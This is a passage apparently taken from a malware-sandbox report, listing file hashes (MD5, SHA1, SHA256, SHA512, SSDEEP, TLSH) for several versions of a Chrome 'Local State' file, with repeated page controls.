T1ECC312275E75E9375878BB0EB08E0B1F1EF14AA6D930DA92C8D86B0467F97CC1A05D34
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 233KB
SHA256 2a46028d75bceb98a3c3ff4efee81b4d6d102a375411dc9dc9df2352987a63de
MD5 6234ed334da0f08e54b27e8cea3bf4fc
SHA1 1114c0b5ce187b00e686c5290d77c37cc2686b29
SHA512 aa14d59b7dcdc65e57311e0d04aeb73e778c18baf06d74c5783d6f192ed415a09357ffa5bd488eccb5e0151953080ca696deb2e3e047f0575121af145855a327
SSDEEP 6144:zkgFeh5gx3I2XeN/UJ5Bm7Rkm1tYpBeh2BAod:zkgFI5qbcUrI9oBGcAod
TLSH
T1CF3412274EB4FC3764BCE71AA49E1E5B3BB20AE5C7315ED144E8AA4573E47E50E08930
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 234KB
SHA256 7878a14be5e8623a5c6a7a9241da86fdd3de0bde5632fe210118d8f5a13576f2
MD5 bc945bcbbc94130c1bf738d581cef506
SHA1 d0e9a9fb47f5bfd8ca726c6b828c53a8631f6d3d
SHA512 75928d3f12a19c68d9acd6b48b577d654d3e0836a874c696ae2eeed71b502896254c4f415c922c67b1dd2d7cde6a34faa4933f662feba3a38f3176631112e2a3
SSDEEP 6144:zTugFeh5gx3I2XeN/UJ5Bm7Rkm1tYpBeh2BAod:zKgFI5qbcUrI9oBGcAod
TLSH
T1A93412374EA4FC3764BCE70EA44E191B2FF10BE6C6319E9584E86A0573E97E50E09930
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 233KB
SHA256 92ffb99315205c6005fefee6885c957c876ddfbdb9bb19a1461d94cc5e9ddca7
MD5 1ffddb472619e9d721b63e47b6921d4c
SHA1 021e8dddcb8a7cdc9842d82928ceb609aace019b
SHA512 c8dc3965fbb664869bbe7e4bb2efc3991166d8fb77c45b0161a2fa3d3575cf8d1ca3bb187c2cb3ab24bdfde38e1a8a15fa9accfa9e6478e7b274fba52897a762
SSDEEP 6144:ukgFeh5gx3I2XeN/UJ5Bm7Rkm1tYpBeh2BAod:ukgFI5qbcUrI9oBGcAod
TLSH
T1893412274EB4FC3764BCE71AA49E0E5B3BB20AE5C7315ED144E8AA4573E47E50E08930
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download